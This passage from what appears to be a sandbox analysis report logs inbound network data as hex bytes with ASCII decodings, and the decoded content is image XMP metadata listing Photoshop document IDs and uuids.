38 35 38 46 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 33 44 38 31 44 44 38 33 30 35 35 35 32 
46 46 33 39 39 44 39 45 30 35 45 45 46 33 44 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 34 46 4
3 39 36 43 34 37 43 37 41 46 39 35 42 30 43 45 38 36 38 41 43 43 44 36 38 45 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 39 45 35 31 46 41 45 36 31 38 39 32 31 33 45 39 37 46 38 39 38 43 32 42 37 44 45 31 32 35 44 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 35 37 39 41 
Data Ascii: E30949D6F115EDAC905B78DD2B46614</rdf:li> <rdf:li>9E3B5739AD8691BDE73A5E7A37858FF5</rdf:li> 
<rdf:li>9E3D81DD8305552FF399D9E05EEF3D81</rdf:li> <rdf:li>9E4FC96C47C7AF95B0CE868ACCD68E3C</rdf:li> 
<rdf:li>9E51FAE6189213E97F898C2B7DE125D7</rdf:li> <rdf:li>9E579A

2022-05-26 11:46:49 UTC 4618 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 30 39 33 42 31 45 34 30 44 44 39 37 30 39 44 41 44 45 
41 36 32 34 38 31 46 34 34 42 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 32 32 38 36 41 35 44 
38 45 30 32 33 46 41 45 31 41 42 36 46 43 41 42 44 43 43 34 33 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 41 43 32 34 33 45 33 43 30 33 34 36 43 44 31 32 37 39 46 43 45 30 30 46 32 32 31 37 31 31 30 45 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 32 37 34 45 33 31 38 38 41 31 36 32 46 45 37 30 38 34 38 31 44 46 32 36 
46 37 42 46 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 32 42 31 43 41 37 38 45 39 35 35 41 35 
36 45 31 46 45 32 31 36 30 39 33 34 45 35 41 33 45 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>AC093B1E40DD9709DADEA62481F44B42</rdf:li> <rdf:li>AC2286A5D8E023FAE1AB6FC
ABDCC437D</rdf:li> <rdf:li>AC243E3C0346CD1279FCE00F2217110E</rdf:li> <rdf:li>AC274E3188A162FE708481D
F26F7BFA9</rdf:li> <rdf:li>AC2B1CA78E955A56E1FE2160934E5A3E</rdf:li

2022-05-26 11:46:49 UTC 4674 IN Data Raw: 31 38 45 36 44 32 33 38 32 38 30 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 31 42 
39 38 39 44 46 31 46 38 35 44 39 37 33 30 33 36 36 35 30 39 42 38 35 39 41 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 42 39 34 42 42 39 42 34 42 42 32 44 36 30 38 46 31 36 44 42 46 31 31 36 36 38 35 46 38 42 32 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 46 45 41 36 46 43 37 34 36 36 38 36 45 46 31 31 36 33 42 
32 43 43 34 34 34 46 38 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 35 43 45 35 30 30 32 46 43 
44 33 42 30 39 31 36 36 46 30 37 41 31 35 45 30 33 44 45 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
42 39 36 39 39 32 34 41 37 31 32 46 33 42 39 38 33 35 43 46 33 46 37 35 
Data Ascii: 18E6D238280FF</rdf:li> <rdf:li>B941B989DF1F85D9730366509B859A17</rdf:li> <rdf:li>B94BB9B
4BB2D608F16DBF116685F8B25</rdf:li> <rdf:li>B94FEA6FC746686EF1163B2CC444F868</rdf:li> <rdf:li>B95CE50
02FCD3B09166F07A15E03DEA8</rdf:li> <rdf:li>B969924A712F3B9835CF3F75

2022-05-26 11:46:49 UTC 4689 IN Data Raw: 38 46 43 34 31 36 31 43 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 31 31 35 42 30 
38 31 42 41 30 34 39 45 43 41 41 36 32 39 34 31 31 35 33 46 45 38 37 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 43 30 31 32 37 33 39 36 45 44 32 42 36 37 31 36 43 35 35 46 34 35 36 42 30 32 46 30 41 34 30 31 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 31 35 45 35 44 31 43 46 39 34 34 39 35 39 41 39 33 34 31 38 30 31 
37 45 31 41 30 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 31 39 30 46 43 31 43 30 44 37 41 
37 32 44 45 31 39 44 46 36 32 43 39 36 32 33 45 33 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 30 
32 32 38 39 39 36 43 30 43 34 43 45 45 46 41 30 44 32 44 39 45 32 36 32 
Data Ascii: 8FC4161C5D0</rdf:li> <rdf:li>C0115B081BA049ECAA62941153FE8717</rdf:li> <rdf:li>C0127396E
D2B6716C55F456B02F0A401</rdf:li> <rdf:li>C015E5D1CF944959A93418017E1A0965</rdf:li> <rdf:li>C0190FC1C
0D7A72DE19DF62C9623E375</rdf:li> <rdf:li>C0228996C0C4CEEFA0D2D9E262

2022-05-26 11:46:49 UTC 4769 IN Data Raw: 45 46 37 41 36 32 45 42 39 32 46 34 44 46 35 37 36 37 32 32 39 43 30 36 43 37 42 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 43 44 37 41 44 37 42 31 36 42 38 36 42 44 34 44 46 31 33 37 36 37 46 31 43 39 31 41 34 37 
45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 38 32 43 35 36 41 35 38 42 45 36 39 45 36 46 32 39 
33 46 41 34 46 35 32 44 39 36 44 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 38 37 42 31 44 30 3
5 35 39 42 33 43 46 44 32 35 39 30 45 42 33 36 41 43 34 44 43 46 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 43 44 39 37 41 35 44 42 30 36 35 34 31 44 45 33 44 38 36 34 41 43 35 36 43 44 35 36 36 42 31 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 44 39 39 33 43 46 44 44 45 
Data Ascii: EF7A62EB92F4DF5767229C06C7B</rdf:li> <rdf:li>CD7AD7B16B86BD4DF13767F1C91A47E7</rdf:li> <
rdf:li>CD82C56A58BE69E6F293FA4F52D96DEB</rdf:li> <rdf:li>CD87B1D0559B3CFD2590EB36AC4DCFFB</rdf:li> <
rdf:li>CD97A5DB06541DE3D864AC56CD566B1D</rdf:li> <rdf:li>CD993CFDDE

2022-05-26 11:46:49 UTC 4817 IN Data Raw: 43 42 41 45 43 35 38 45 45 45 44 45 35 36 44 45 42 35 45 30 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 44 42 30 46 34 41 45 45 35 43 43 34 32 30 31 33 42 43 43 45 39 30 45 39 38 33 35 46 37 37 43 39 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 31 43 37 44 33 30 33 36 41 33 31 43 30 32 43 39 39 45 44 41 41 34 
33 41 43 31 33 32 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 32 33 32 39 31 46 42 31 34 35 37 3
0 31 34 41 42 30 35 37 43 43 41 36 46 35 30 34 45 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 32 
35 46 42 42 37 32 44 44 41 32 39 45 35 43 33 42 32 44 42 38 44 33 44 43 30 39 38 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 44 42 33 30 41 46 38 37 39 32 32 43 32 34 39 
Data Ascii: CBAEC58EEEDE56DEB5E0B1</rdf:li> <rdf:li>DB0F4AEE5CC42013BCCE90E9835F77C9</rdf:li> <rdf:l
i>DB1C7D3036A31C02C99EDAA43AC132AF</rdf:li> <rdf:li>DB23291FB1457014AB057CCA6F504E81</rdf:li> <rdf:l
i>DB25FBB72DDA29E5C3B2DB8D3DC098E9</rdf:li> <rdf:li>DB30AF87922C249

2022-05-26 11:46:49 UTC 4848 IN Data Raw: 43 44 39 38 31 43 33 30 39 42 33 45 43 46 46 37 35 43 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 45 31 45 36 42 44 36 33 43 39 31 38 37 33 46 31 39 39 46 30 42 32 46 44 45 35 35 39 31 31 38 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 46 32 35 35 31 37 43 33 42 45 35 39 43 43 43 31 42 38 39 39 42 36 46 37 
39 35 30 33 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 46 34 33 39 45 42 31 33 45 38 45 41 39 3
5 33 35 43 37 42 32 42 36 44 38 30 46 32 31 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 46 37 34 
46 37 37 37 35 37 43 32 31 46 43 38 39 35 31 36 39 41 44 33 32 37 42 38 35 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 45 31 46 46 33 38 34 45 35 31 38 41 35 35 43 33 44 
Data Ascii: CD981C309B3ECFF75C11</rdf:li> <rdf:li>E1E6BD63C91873F199F0B2FDE5591184</rdf:li> <rdf:li>
E1F25517C3BE59CCC1B899B6F795039D</rdf:li> <rdf:li>E1F439EB13E8EA9535C7B2B6D80F2145</rdf:li> <rdf:li>
E1F74F77757C21FC895169AD327B8533</rdf:li> <rdf:li>E1FF384E518A55C3D

2022-05-26 11:46:49 UTC 4936 IN Data Raw: 3a 6c 69 3e 45 44 46 34 37 43 41 37 35 46 41 41 41 34 42 33 43 31 42 46 38 42 43 39 41 37 34 34 46 39 42 
46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 46 36 43 45 46 41 42 35 43 42 37 37 44 32 43 45 42 46 
43 32 41 38 31 35 46 37 44 36 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 44 46 42 39 37 42 43 35 3
6 45 45 38 42 34 30 34 34 32 34 30 37 42 41 34 36 46 41 33 41 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 45 45 30 35 42 34 42 35 39 41 39 32 41 34 31 30 46 45 46 31 33 31 44 43 31 42 46 46 41 44 41 35 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 45 31 33 32 36 39 43 38 30 31 38 36 38 41 30 38 44 43 31 45 39 45 34 33 44 37 
30 35 30 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 
Data Ascii: :li>EDF47CA75FAAA4B3C1BF8BC9A744F9BF</rdf:li> <rdf:li>EDF6CEFAB5CB77D2CEBFC2A815F7D626</
rdf:li> <rdf:li>EDFB97BC56EE8B40442407BA46FA3A3F</rdf:li> <rdf:li>EE05B4B59A92A410FEF131DC1BFFADA5</
rdf:li> <rdf:li>EE13269C801868A08DC1E9E43D70507A</rdf:li> <rdf:li>E

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 108 of 222



2022-05-26 11:46:49 UTC 4952 IN Data Raw: 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 36 32 39 32 39 36 43 45 44 41 39 46 33 38 
46 43 42 43 32 36 46 35 34 46 34 32 35 32 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 36 42 36 
31 43 45 33 37 36 34 38 31 44 44 31 42 43 41 35 35 42 42 38 46 34 37 45 45 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 46 41 36 46 31 41 38 31 42 39 36 39 31 42 32 35 46 33 43 38 45 36 39 44 31 39 38 34 38 42 43 31 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 38 42 35 36 45 35 35 44 44 37 32 36 42 41 37 41 31 37 31 42 
39 39 38 38 44 33 36 34 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 39 41 38 42 38 34 41 43 31 
45 38 45 43 31 43 42 37 32 31 36 36 32 37 39 42 34 31 43 41 46 3c 2f 72 
Data Ascii: 2D</rdf:li> <rdf:li>FA629296CEDA9F38FCBC26F54F425222</rdf:li> <rdf:li>FA6B61CE376481DD1B
CA55BB8F47EE2C</rdf:li> <rdf:li>FA6F1A81B9691B25F3C8E69D19848BC1</rdf:li> <rdf:li>FA8B56E55DD726BA7A
171B9988D364C6</rdf:li> <rdf:li>FA9A8B84AC1E8EC1CB72166279B41CAF</r

2022-05-26 11:46:49 UTC 4991 IN Data Raw: 38 2d 61 34 37 33 2d 39 37 30 30 35 65 39 33 37 63 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 33 30 32 62 65 36 39 2d 65 34 37 39 2d 31 31 37 
38 2d 61 32 35 33 2d 65 62 62 37 38 32 63 31 66 65 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 
6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 33 33 39 32 37 35 30 2d 38 33 38 37 2d 31 31 65 37 2d 61 
35 36 34 2d 61 61 30 32 30 33 62 63 30 35 63 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 34 65 31 34 31 33 66 2d 39 64 34 63 2d 31 31 64 63 2d 39 66 38 62 
2d 62 32 64 30 66 61 39 36 36 64 65 37 3c 2f 72 64 66 3a 6c 69 
Data Ascii: 8-a473-97005e937c10</rdf:li> <rdf:li>adobe:docid:photoshop:0302be69-e479-1178-a253-ebb782c1fe21</r
df:li> <rdf:li>adobe:docid:photoshop:03392750-8387-11e7-a564-aa0203bc05cd</rdf:li> <rdf:li>adobe:docid:photosh
op:04e1413f-9d4c-11dc-9f8b-b2d0fa966de7</rdf:li

2022-05-26 11:46:49 UTC 5007 IN Data Raw: 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 30 36 34 36 66 38 2d 63 61 62 66 2d 31 31 37 38 
2d 62 36 32 30 2d 61 31 36 33 30 65 64 61 30 62 61 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 
62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 30 38 65 61 32 65 2d 36 63 30 30 2d 31 31 65 37 2d 61 35 
66 32 2d 66 37 65 32 62 32 34 36 63 30 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 
64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 32 63 30 31 36 61 2d 38 66 34 31 2d 31 31 65 37 2d 61 63 38 30 2d 
61 33 62 36 61 61 64 63 30 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 
64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 38 33 33 61 34 30 66 2d 
Data Ascii: e:docid:photoshop:380646f8-cabf-1178-b620-a1630eda0ba1</rdf:li> <rdf:li>adobe:docid:photoshop:3808ea2e-
6c00-11e7-a5f2-f7e2b246c064</rdf:li> <rdf:li>adobe:docid:photoshop:382c016a-8f41-11e7-ac80-a3b6aadc0915</rdf:li> 
<rdf:li>adobe:docid:photoshop:3833a40f-

2022-05-26 11:46:49 UTC 5087 IN Data Raw: 36 30 66 35 32 31 62 66 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 36 32 36 30 32 64 35 2d 36 34 63 32 2d 31 31 64 62 2d 61 65 39 64 2d 64 
32 66 35 33 37 64 37 65 35 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
3a 70 68 6f 74 6f 73 68 6f 70 3a 36 36 34 61 31 34 34 34 2d 33 36 38 61 2d 31 31 65 37 2d 61 35 63 62 2d 65 66 62 36 
30 61 37 30 30 36 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 36 36 37 62 31 35 63 61 2d 66 65 32 64 2d 31 31 64 39 2d 38 66 64 66 2d 63 30 30 34 34 62 66 6
2 32 38 38 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 60f521bf63</rdf:li> <rdf:li>adobe:docid:photoshop:662602d5-64c2-11db-ae9d-d2f537d7e5d1</rdf:li> <r
df:li>adobe:docid:photoshop:664a1444-368a-11e7-a5cb-efb60a700623</rdf:li> <rdf:li>adobe:docid:photoshop:667b15ca-
fe2d-11d9-8fdf-c0044bfb288b</rdf:li> <rdf:li

2022-05-26 11:46:49 UTC 5095 IN Data Raw: 70 3a 37 61 34 36 35 36 34 36 2d 39 66 62 63 2d 31 31 64 61 2d 62 30 62 34 2d 38 34 66 38 31 62 33 62 39 
32 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
6f 70 3a 37 61 34 36 35 36 34 63 2d 39 66 62 63 2d 31 31 64 61 2d 62 30 62 34 2d 38 34 66 38 31 62 33 62 39 32 61 61 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 
37 61 63 36 66 35 63 38 2d 38 31 33 33 2d 31 31 65 37 2d 39 39 34 32 2d 63 33 35 65 62 62 63 39 66 32 38 32 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 62 32 
31 66 36 36 66 2d 39 66 63 31 2d 31 31 64 61 2d 38 35 32 61 2d 61 
Data Ascii: p:7a465646-9fbc-11da-b0b4-84f81b3b92aa</rdf:li> <rdf:li>adobe:docid:photoshop:7a46564c-9fbc-11da-b0b4-
84f81b3b92aa</rdf:li> <rdf:li>adobe:docid:photoshop:7ac6f5c8-8133-11e7-9942-c35ebbc9f282</rdf:li> <rdf:li>adobe:doci
d:photoshop:7b21f66f-9fc1-11da-852a-a

2022-05-26 11:46:49 UTC 5151 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 
34 62 32 65 33 66 2d 39 31 31 65 2d 31 31 65 36 2d 38 63 33 62 2d 38 66 35 30 35 34 62 65 39 35 64 64 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 65 32 34 
32 36 37 2d 38 35 39 64 2d 31 31 64 38 2d 62 31 38 36 2d 62 34 65 38 30 31 34 32 63 36 64 38 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 65 36 34 66 66 35 
2d 32 61 62 33 2d 31 31 65 37 2d 62 66 34 66 2d 61 32 33 65 38 33 39 35 38 64 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 
Data Ascii: li> <rdf:li>adobe:docid:photoshop:ad4b2e3f-911e-11e6-8c3b-8f5054be95dd</rdf:li> <rdf:li>adobe:doci
d:photoshop:ade24267-859d-11d8-b186-b4e80142c6d8</rdf:li> <rdf:li>adobe:docid:photoshop:ade64ff5-2ab3-11e7-bf4f-
a23e83958dee</rdf:li> <rdf:li>adobe:docid:pho

2022-05-26 11:46:49 UTC 5207 IN Data Raw: 33 2d 66 66 30 31 2d 62 35 34 35 2d 38 65 32 30 2d 64 39 63 30 35 33 33 62 34 32 35 32 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 33 61 31 62 39 63 
62 2d 63 65 63 36 2d 31 31 64 39 2d 62 33 36 32 2d 65 62 35 63 38 31 61 66 36 31 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 33 63 36 30 62 33 37 2d 38 
32 32 64 2d 63 33 34 61 2d 62 64 38 30 2d 33 31 34 33 34 64 64 61 61 38 66 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 34 32 30 34 65 66 66 2d 38 37 31 37 
2d 31 31 65 31 2d 39 62 38 38 2d 66 38 64 38 63 33 64 34 36 38 
Data Ascii: 3-ff01-b545-8e20-d9c0533b4252</rdf:li> <rdf:li>adobe:docid:photoshop:e3a1b9cb-cec6-11d9-b362-eb5c8
1af611e</rdf:li> <rdf:li>adobe:docid:photoshop:e3c60b37-822d-c34a-bd80-31434ddaa8f4</rdf:li> <rdf:li>adobe:doc
id:photoshop:e4204eff-8717-11e1-9b88-f8d8c3d468

2022-05-26 11:46:49 UTC 5222 IN Data Raw: 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 61 39 36 32 64 33 37 2d 32 30 65 33 2d 34 
66 34 64 2d 61 38 62 31 2d 64 31 36 65 35 31 65 61 35 63 32 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 61 61 31 66 66 36 34 2d 65 35 31 61 2d 31 31 64 62 
2d 38 39 63 33 2d 62 35 36 61 63 30 63 62 39 35 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 
62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 62 34 33 30 64 61 66 2d 66 35 65 30 2d 37 31 34 35 2d 62 36 
34 38 2d 61 66 33 34 38 35 30 34 33 37 65 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 6
4 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 62 35 37 30 30 
Data Ascii: dobe:docid:photoshop:fa962d37-20e3-4f4d-a8b1-d16e51ea5c2c</rdf:li> <rdf:li>adobe:docid:photoshop:f
aa1ff64-e51a-11db-89c3-b56ac0cb954d</rdf:li> <rdf:li>adobe:docid:photoshop:fb430daf-f5e0-7145-b648-af34850437e
9</rdf:li> <rdf:li>adobe:docid:photoshop:fb5700
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2022-05-26 11:46:49 UTC 5278 IN Data Raw: 45 35 32 36 34 32 46 32 30 41 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 
31 46 32 42 43 41 35 37 34 44 36 31 31 44 42 41 38 43 35 39 41 35 30 35 42 33 38 37 42 37 34 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 32 32 33 31 42 41 34 41 38 43 32 44 46 31 31 41 46 32 43 43 45 35 42 
31 32 35 33 43 45 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 32 37 31 38 46 42 37 3
6 33 34 44 44 46 31 31 41 46 30 30 38 34 44 33 36 45 42 32 43 44 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 75 75 69 64 3a 33 32 37 33 33 45 42 46 35 41 34 31 44 42 31 31 39 39 30 39 39 35 32 46 30 44 36 37 44 45 35 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 
Data Ascii: E52642F20AC7</rdf:li> <rdf:li>uuid:31F2BCA574D611DBA8C59A505B387B74</rdf:li> <rdf:li>uuid:32231BA4
A8C2DF11AF2CCE5B1253CE17</rdf:li> <rdf:li>uuid:32718FB7634DDF11AF0084D36EB2CDCB</rdf:li> <rdf:li>uui
d:32733EBF5A41DB119909952F0D67DE54</rdf:li> <rdf:li>uuid:

2022-05-26 11:46:49 UTC 5825 IN Data Raw: 3e 75 75 69 64 3a 36 36 37 42 31 36 30 32 46 34 45 41 45 30 31 31 42 34 41 30 42 46 42 31 41 32 43 38 38 
42 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 36 45 37 37 30 43 38 44 38 38 33 44 
44 31 31 38 35 36 37 46 44 37 44 42 37 44 31 46 42 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 6
9 64 3a 36 36 45 37 41 38 31 32 32 36 38 36 44 42 31 31 38 35 39 37 38 34 34 32 33 38 46 30 43 41 45 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 30 33 42 46 39 41 45 37 42 45 31 31 44 45 39 30 32 41 
42 31 34 45 45 31 32 39 45 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 34 42 
35 39 36 30 37 30 42 34 31 31 44 42 42 30 43 33 42 33 33 42 38 46 46 33 44 
Data Ascii: >uuid:667B1602F4EAE011B4A0BFB1A2C88BBB</rdf:li> <rdf:li>uuid:66E770C8D883DD118567FD7DB7D
1FB68</rdf:li> <rdf:li>uuid:66E7A8122686DB118597844238F0CAED</rdf:li> <rdf:li>uuid:6703BF9AE7BE11DE9
02AB14EE129E651</rdf:li> <rdf:li>uuid:674B596070B411DBB0C3B33B8FF3D

2022-05-26 11:46:49 UTC 5832 IN Data Raw: 35 34 31 45 43 35 34 46 33 33 32 44 42 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
64 3a 37 44 44 32 44 38 37 43 46 32 36 44 44 44 31 31 39 38 32 35 43 46 33 39 34 44 38 46 39 37 32 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 30 37 35 44 35 41 32 33 36 36 45 32 31 31 38 32 46 36 44 
34 33 43 30 41 39 35 46 45 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 30 42 42 3
7 36 39 39 39 37 30 44 45 31 31 39 43 30 33 43 37 31 36 45 46 43 38 46 43 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 34 37 38 33 36 33 38 42 43 35 44 46 31 31 38 31 44 41 38 46 38 37 32 46 33 43 
32 46 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 
Data Ascii: 541EC54F332DBE2</rdf:li> <rdf:li>uuid:7DD2D87CF26DDD119825CF394D8F972B</rdf:li> <rdf:li>
uuid:7E075D5A2366E21182F6D43C0A95FE92</rdf:li> <rdf:li>uuid:7E0BB7699970DE119C03C716EFC8FC6F</rdf:li> 
<rdf:li>uuid:7E4783638BC5DF1181DA8F872F3C2FE6</rdf:li> <rdf:li>uu

